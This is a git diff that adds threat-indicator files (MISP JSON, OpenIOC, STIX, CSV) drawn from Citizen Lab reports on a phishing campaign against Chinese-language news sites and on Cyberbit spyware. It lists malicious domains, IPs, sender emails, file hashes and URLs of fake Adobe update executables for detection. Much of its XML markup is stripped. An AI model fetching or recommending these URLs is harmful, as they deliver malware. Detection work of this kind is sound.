site.", + "value": "hk.secuerserver.com" + } + } + ] + }, + { + "id": "16363", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb0af-c4b8-4124-a2b5-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181231", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "pop.secuerserver.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "pop.secuerserver.com" + } + } + ] + }, + { + "id": "16364", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb0af-3930-4285-9fdd-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181231", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "smtpout.secuerserver.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "smtpout.secuerserver.com" + } + } + ] + }, + { + "id": "16365", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb0af-e108-4480-aa27-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181231", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.bowenpress.org", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16366", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb0af-9c98-4021-9af7-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181231", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.mail.secuerserver.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "www.mail.secuerserver.com" + } + } + ] + }, + { + "id": "16367", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb0af-a424-469a-9a7f-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181231", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.secuerserver.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16368", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb0af-4794-4d7f-ba4c-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181231", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.vnews.hk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "www.vnews.hk" + } + } + ] + }, + { + "id": "16348", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "595baf52-7340-4840-bda0-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499180882", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hellomice@mail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "hellomice@mail.com" + } + } + ] + }, + { + "id": "16349", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "595baf52-2a08-4576-9f76-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499180882", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "aisia.anminda8@mail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "aisia.anminda8@mail.com" + } + } + ] + }, + { + "id": "16405", + "type": "ip-src", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb286-ee4c-4c91-91b9-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181702", + "comment": "Cloudie IP used for scanning", + "sharing_group_id": "0", + "deleted": false, + "value": "45.124.24.39", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "45.124.24.39" + } + } + ] + }, + { + "id": "16406", + "type": "ip-src", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb2d6-70e0-4d6d-bdc7-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181782", + "comment": "Gorilla servers malware and phishing server", + "sharing_group_id": "0", + "deleted": false, + "value": "23.239.106.119", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "23.239.106.119" + } + } + ] + }, + { + "id": "16352", + "type": "ip-src", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bafe1-e518-4bfb-9701-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181044", + "comment": "hosted phishing page", + "sharing_group_id": "0", + "deleted": false, + "value": "43.240.14.37", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "43.240.14.37" + } + } + ] + }, + { + "id": "16350", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595baf7a-6598-4ecc-ba74-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499180922", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/43.240.14.37\/asdasdasadqddd12222111.php\/article.asp", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16351", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bafa7-2d34-43d7-87a1-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499180988", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/chinadagitaltimes.net\/2016\/07\/chinese-hackers-blamed-multiple-breaches-fdic", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16369", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb0cc-f258-491f-afcd-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181260", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/get.adobe.com.bowenpress.org\/Adobe\/update\/20161201\/AdobeUpdate.html", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16370", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb15f-dc68-4468-9572-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181407", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/get.adobe.com.bowenpress.org\/Adobe\/update\/20160703\/AdobeUpdate20160703.exe", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16371", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb15f-d000-400a-b7a9-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181407", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/get.adobe.com.bowenpress.org\/Adobe\/update\/20160812\/AdobeUpdate20160812.exe", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16372", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb15f-4a08-4a4a-9ff5-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181407", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/get.adobe.com.bowenpress.org\/Adobe\/update\/20161201\/AdobeUpdate20161201.exe", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16373", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb15f-8488-4a3b-abea-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181407", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/get.adobe.com.bowenpress.org\/Adobe\/update\/20170312\/AdobeUpdate20170312.exe", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + } + ], + "ShadowAttribute": [ + + ], + "RelatedEvent": [ + { + "Event": { + "id": "94", + "date": "2017-02-24", + "threat_level_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "published": false, + "uuid": "58b05226-2fd4-4638-ba7d-53938e96ca05", + "analysis": "0", + "timestamp": "1499181637", + "distribution": "1", + "org_id": "2", + "orgc_id": "2" + }, + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + } + } + ], + "Tag": [ + { + "id": "14", + "name": "TARGET:HONGKONG", + "colour": "#f00000", + "exportable": true, + "org_id": false + }, + { + "id": "7", + "name": "DETECT", + "colour": "#cccccc", + "exportable": true, + "org_id": false + }, + { + "id": "5", + "name": "SOURCE:CITIZENLAB", + "colour": "#ffad0d", + "exportable": true, + "org_id": false + }, + { + "id": "3", + "name": "TLP:GREEN", + "colour": "#04cc18", + "exportable": true, + "org_id": false + } + ] + } +}]} \ No newline at end of file diff --git a/data/ioc/spyware/citizen_lab/201707_InsiderInfo/openioc.ioc b/data/ioc/spyware/citizen_lab/201707_InsiderInfo/openioc.ioc new file mode 100644 index 0000000..b18dfe7 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201707_InsiderInfo/openioc.ioc @@ -0,0 +1,125 @@ + + + Event #108 + Insider Information: An intrusion campaign targeting Chinese language news sites + + citizenlab + 2017-07-04T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201707_InsiderInfo/stix.xml b/data/ioc/spyware/citizen_lab/201707_InsiderInfo/stix.xml new file mode 100644 index 0000000..8b9f4a1 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201707_InsiderInfo/stix.xml @@ -0,0 +1,1184 @@ + + + Export from MISP + Threat Report + + + + + + Insider Information: An intrusion campaign targeting Chinese language news sites (MISP Event #108) + Threat Report + + + + Insider Information: An intrusion campaign targeting Chinese language news sites + 108 + + 2017-07-04T00:00:00+00:00 + 2017-07-04T11:25:53+00:00 + + New + + + Artifacts dropped + + Artifacts dropped: 19c5f8829444956ba30e023aaaec6408 (MISP Attribute #16407) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 19c5f8829444956ba30e023aaaec6408 (MISP Attribute #16407) + + + + + + + MD5 + 19c5f8829444956ba30e023aaaec6408 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: ac5763000ae435875f3b709a5f23ecc0 (MISP Attribute #16408) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: ac5763000ae435875f3b709a5f23ecc0 (MISP Attribute #16408) + + + + + + + MD5 + ac5763000ae435875f3b709a5f23ecc0 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: d80fc6a4f175e3ab417b9f96c3b37c73 (MISP Attribute #16409) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: d80fc6a4f175e3ab417b9f96c3b37c73 (MISP Attribute #16409) + + + + + + + MD5 + d80fc6a4f175e3ab417b9f96c3b37c73 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 945de4d3a046a698aec222fc90a148ba (MISP Attribute #16410) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 945de4d3a046a698aec222fc90a148ba (MISP Attribute #16410) + + + + + + + MD5 + 945de4d3a046a698aec222fc90a148ba + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 95efa51b52f121cec239980127b7f96b (MISP Attribute #16411) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 95efa51b52f121cec239980127b7f96b (MISP Attribute #16411) + + + + + + + MD5 + 95efa51b52f121cec239980127b7f96b + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 13b148aead5e844f7262da768873cec0 (MISP Attribute #16412) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 13b148aead5e844f7262da768873cec0 (MISP Attribute #16412) + + + + + + + MD5 + 13b148aead5e844f7262da768873cec0 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 029ba5f0f6997bc36a094e86848a5b82 (MISP Attribute #16413) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 029ba5f0f6997bc36a094e86848a5b82 (MISP Attribute #16413) + + + + + + + MD5 + 029ba5f0f6997bc36a094e86848a5b82 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: e841ecaa44b3589120b72e60b53f39c6 (MISP Attribute #16414) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: e841ecaa44b3589120b72e60b53f39c6 (MISP Attribute #16414) + + + + + + + MD5 + e841ecaa44b3589120b72e60b53f39c6 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 88e027b1ef7b2da1766e6b6819bba0f0 (MISP Attribute #16415) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 88e027b1ef7b2da1766e6b6819bba0f0 (MISP Attribute #16415) + + + + + + + MD5 + 88e027b1ef7b2da1766e6b6819bba0f0 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: bb080489dbc98a59cac130475e019fb2 (MISP Attribute #16416) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: bb080489dbc98a59cac130475e019fb2 (MISP Attribute #16416) + + + + + + + MD5 + bb080489dbc98a59cac130475e019fb2 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 88f43fe753e64d9c536fca16979984ef (MISP Attribute #16417) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 88f43fe753e64d9c536fca16979984ef (MISP Attribute #16417) + + + + + + + MD5 + 88f43fe753e64d9c536fca16979984ef + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: f282fd20d7eaebe848b5111ecdae82a6 (MISP Attribute #16418) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: f282fd20d7eaebe848b5111ecdae82a6 (MISP Attribute #16418) + + + + + + + MD5 + f282fd20d7eaebe848b5111ecdae82a6 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: e0338b1f010fdc4751de5f58e4acf2ad (MISP Attribute #16419) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: e0338b1f010fdc4751de5f58e4acf2ad (MISP Attribute #16419) + + + + + + + MD5 + e0338b1f010fdc4751de5f58e4acf2ad + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: c1dabd54a672cbc2747c53a8041d5602 (MISP Attribute #16420) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: c1dabd54a672cbc2747c53a8041d5602 (MISP Attribute #16420) + + + + + + + MD5 + c1dabd54a672cbc2747c53a8041d5602 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 2332aa40d15399179c068ab205a5303d (MISP Attribute #16421) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 2332aa40d15399179c068ab205a5303d (MISP Attribute #16421) + + + + + + + MD5 + 2332aa40d15399179c068ab205a5303d + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 4ddf012d8a42ad2666e06ad2f0a8410e (MISP Attribute #16422) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 4ddf012d8a42ad2666e06ad2f0a8410e (MISP Attribute #16422) + + + + + + + MD5 + 4ddf012d8a42ad2666e06ad2f0a8410e + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: aobama_5@yahoo.com (MISP Attribute #16353) + Malware Artifacts + Attribution: aobama_5@yahoo.com (MISP Attribute #16353) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: email23.secuerserver.com (MISP Attribute #16374) + Malware Artifacts + Domain Watchlist + Network activity: email23.secuerserver.com (MISP Attribute #16374) + + + + + email23.secuerserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hk.secuerserver.com (MISP Attribute #16375) + Malware Artifacts + Domain Watchlist + Network activity: hk.secuerserver.com (MISP Attribute #16375) + + + + + hk.secuerserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dns.bowenpress.org (MISP Attribute #16376) + Malware Artifacts + Domain Watchlist + Network activity: dns.bowenpress.org (MISP Attribute #16376) + + + + + dns.bowenpress.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: secuerserver.com (MISP Attribute #16354) + Malware Artifacts + Domain Watchlist + Payload delivery: secuerserver.com (MISP Attribute #16354) + + + + + secuerserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: bowenpres.com (MISP Attribute #16355) + Malware Artifacts + Domain Watchlist + Payload delivery: bowenpres.com (MISP Attribute #16355) + + + + + bowenpres.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: bowenpress.net (MISP Attribute #16356) + Malware Artifacts + Domain Watchlist + Payload delivery: bowenpress.net (MISP Attribute #16356) + + + + + bowenpress.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: bowenpress.org (MISP Attribute #16357) + Malware Artifacts + Domain Watchlist + Payload delivery: bowenpress.org (MISP Attribute #16357) + + + + + bowenpress.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: bowenpross.com (MISP Attribute #16358) + Malware Artifacts + Domain Watchlist + Payload delivery: bowenpross.com (MISP Attribute #16358) + + + + + bowenpross.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: datalink.one (MISP Attribute #16359) + Malware Artifacts + Domain Watchlist + Payload delivery: datalink.one (MISP Attribute #16359) + + + + + datalink.one + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: epochatimes.com (MISP Attribute #16360) + Malware Artifacts + Domain Watchlist + Payload delivery: epochatimes.com (MISP Attribute #16360) + + + + + epochatimes.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: get.adobe.com.bowenpress.org (MISP Attribute #16361) + Malware Artifacts + Domain Watchlist + Payload delivery: get.adobe.com.bowenpress.org (MISP Attribute #16361) + + + + + get.adobe.com.bowenpress.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: hk.secuerserver.com (MISP Attribute #16362) + Malware Artifacts + Domain Watchlist + Payload delivery: hk.secuerserver.com (MISP Attribute #16362) + + + + + hk.secuerserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: pop.secuerserver.com (MISP Attribute #16363) + Malware Artifacts + Domain Watchlist + Payload delivery: pop.secuerserver.com (MISP Attribute #16363) + + + + + pop.secuerserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: smtpout.secuerserver.com (MISP Attribute #16364) + Malware Artifacts + Domain Watchlist + Payload delivery: smtpout.secuerserver.com (MISP Attribute #16364) + + + + + smtpout.secuerserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: www.bowenpress.org (MISP Attribute #16365) + Malware Artifacts + Domain Watchlist + Payload delivery: www.bowenpress.org (MISP Attribute #16365) + + + + + www.bowenpress.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: www.mail.secuerserver.com (MISP Attribute #16366) + Malware Artifacts + Domain Watchlist + Payload delivery: www.mail.secuerserver.com (MISP Attribute #16366) + + + + + www.mail.secuerserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: www.secuerserver.com (MISP Attribute #16367) + Malware Artifacts + Domain Watchlist + Payload delivery: www.secuerserver.com (MISP Attribute #16367) + + + + + www.secuerserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: www.vnews.hk (MISP Attribute #16368) + Malware Artifacts + Domain Watchlist + Payload delivery: www.vnews.hk (MISP Attribute #16368) + + + + + www.vnews.hk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: hellomice@mail.com (MISP Attribute #16348) + Malware Artifacts + Malicious E-mail + Payload delivery: hellomice@mail.com (MISP Attribute #16348) + + + + + + + hellomice@mail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: aisia.anminda8@mail.com (MISP Attribute #16349) + Malware Artifacts + Malicious E-mail + Payload delivery: aisia.anminda8@mail.com (MISP Attribute #16349) + + + + + + + aisia.anminda8@mail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 45.124.24.39 (MISP Attribute #16405) + Malware Artifacts + IP Watchlist + Payload delivery: 45.124.24.39 (MISP Attribute #16405) + + + + + 45.124.24.39 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 23.239.106.119 (MISP Attribute #16406) + Malware Artifacts + IP Watchlist + Payload delivery: 23.239.106.119 (MISP Attribute #16406) + + + + + 23.239.106.119 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 43.240.14.37 (MISP Attribute #16352) + Malware Artifacts + IP Watchlist + Payload delivery: 43.240.14.37 (MISP Attribute #16352) + + + + + 43.240.14.37 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://43.240.14.37/asdasdasadqddd12222111.php/article.asp (MISP Attribute #16350) + Malware Artifacts + URL Watchlist + Payload delivery: http://43.240.14.37/asdasdasadqddd12222111.php/article.asp (MISP Attribute #16350) + + + + + http://43.240.14.37/asdasdasadqddd12222111.php/article.asp + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://chinadagitaltimes.net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic (MISP Attribute #16351) + Malware Artifacts + URL Watchlist + Payload delivery: http://chinadagitaltimes.net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic (MISP Attribute #16351) + + + + + http://chinadagitaltimes.net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate.html (MISP Attribute #16369) + Malware Artifacts + URL Watchlist + Payload delivery: http://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate.html (MISP Attribute #16369) + + + + + http://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate.html + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://get.adobe.com.bowenpress.org/Adobe/update/20160703/AdobeUpdate20160703.exe (MISP Attribute #16370) + Malware Artifacts + URL Watchlist + Payload delivery: http://get.adobe.com.bowenpress.org/Adobe/update/20160703/AdobeUpdate20160703.exe (MISP Attribute #16370) + + + + + http://get.adobe.com.bowenpress.org/Adobe/update/20160703/AdobeUpdate20160703.exe + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://get.adobe.com.bowenpress.org/Adobe/update/20160812/AdobeUpdate20160812.exe (MISP Attribute #16371) + Malware Artifacts + URL Watchlist + Payload delivery: http://get.adobe.com.bowenpress.org/Adobe/update/20160812/AdobeUpdate20160812.exe (MISP Attribute #16371) + + + + + http://get.adobe.com.bowenpress.org/Adobe/update/20160812/AdobeUpdate20160812.exe + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate20161201.exe (MISP Attribute #16372) + Malware Artifacts + URL Watchlist + Payload delivery: http://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate20161201.exe (MISP Attribute #16372) + + + + + http://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate20161201.exe + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://get.adobe.com.bowenpress.org/Adobe/update/20170312/AdobeUpdate20170312.exe (MISP Attribute #16373) + Malware Artifacts + URL Watchlist + Payload delivery: http://get.adobe.com.bowenpress.org/Adobe/update/20170312/AdobeUpdate20170312.exe (MISP Attribute #16373) + + + + + http://get.adobe.com.bowenpress.org/Adobe/update/20170312/AdobeUpdate20170312.exe + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Event Threat Level: High + + + MISP Tag: TLP:GREEN + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: TARGET:HONGKONG + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201712_Cyberbit/README.md b/data/ioc/spyware/citizen_lab/201712_Cyberbit/README.md new file mode 100644 index 0000000..bdafcfb --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201712_Cyberbit/README.md @@ -0,0 +1,3 @@ +# Indicators: Champing at the Cyberbit + +This folder contains the indicators of the report [Champing at the Cyberbit Ethiopian Dissidents Targeted with New Commercial Spyware ](https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/) published in December 2017 by [Citizen Lab](https://citizenlab.ca/). diff --git a/data/ioc/spyware/citizen_lab/201712_Cyberbit/iocs.csv b/data/ioc/spyware/citizen_lab/201712_Cyberbit/iocs.csv new file mode 100644 index 0000000..0525636 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201712_Cyberbit/iocs.csv @@ -0,0 +1,14 @@ +uuid,event_id,category,type,value,comment,to_ids,date +5a27f9f0-0654-4388-adcc-11098e96ca05,125,Network activity,url,"https://time-local.net/ts.php","",1,20171206 +5a27f9f0-8b98-4c33-bfce-11098e96ca05,125,Network activity,url,"https://time-local.com/","",1,20171206 +5a27f9f0-b9fc-4809-bbdb-11098e96ca05,125,Network activity,url,"https://pssts1.nozonenet.com/ts8/ts8.php","",1,20171206 